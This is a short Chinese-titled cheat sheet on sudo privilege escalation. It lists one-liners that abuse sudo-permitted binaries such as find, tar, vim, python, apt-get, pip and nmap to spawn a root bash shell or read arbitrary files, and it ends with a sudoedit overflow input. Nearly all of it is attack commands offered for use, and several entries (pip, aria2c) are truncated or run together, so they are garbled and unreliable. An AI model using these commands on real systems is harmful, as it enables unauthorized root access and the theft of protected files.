🦆SUDO授权与提权
Last updated
ccav ALL=(root)NOPASSWD:/usr/bin/find
sudo find /home -exec /bin/bash \; sudo zip /tmp/tmp.zip /tmp/ -T --unzip-command="sh -c /bin/bash"sudo tar cf /dev/null test --checkpoint=1 --checkpoint-action=exec=/bin/bashstrace:
sudo strace -o /dev/null /bin/bashecho "os.execute('/bin/bash')" > /tmp/shell.nse
sudo nmap --script=/tmp/shell.nsesudo more /etc/hosts
!/bin/bashgit:
sudo git help status
!/bin/bash
ftp:
sudo ftp
ftp> !/bin/bash
vim:
sudo vim -c '!bash'
perl:
sudo perl -e 'exec "/bin/bash";'
python:
sudo python -c 'import pty;pty.spawn("/bin/bash")'
less:
sudo less /etc/hosts
v
:shell
awk:
sudo awk 'BEGIN {system("/bin/bash")}'
man:
sudo man man
!/bin/bash
vi:
sudo vi
:!bash
apt-get、apt、dpkg
sudo apt-get update -o APT::Update::Pre-Invoke::="/bin/bash -i"
sudo apt-get changelog apt
!/bin/bash
TF=$(mktemp)
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
sudo apt-get install -c $TF sl
ed:
sudo ed
!/bin/bash
sed:
sudo sed -n '1e exec bash 1>&0' /etc/passwd
pip:
TF=(tty) >(tty)')" > $TF/setup.py
sudo pip install $TF
taskset:
sudo taskset 1 /bin/sh –p
aria2c:
sudo sh -c 'cp $(which aria2c) .; chmod +s ./aria2c'
COMMAND='id'
TF=COMMAND" > $TF
chmod +x TF http://x
arp:
LFILE=file_to_read
sudo arp -v -f "$LFILE"
base64:
LFILE=file_to_read
sudo base64 "$LFILE" | base64 --decode
cpan:
sudo cpan
! exec '/bin/bash'sudoedit -s '\' `perl -e 'print "A" x 65536'`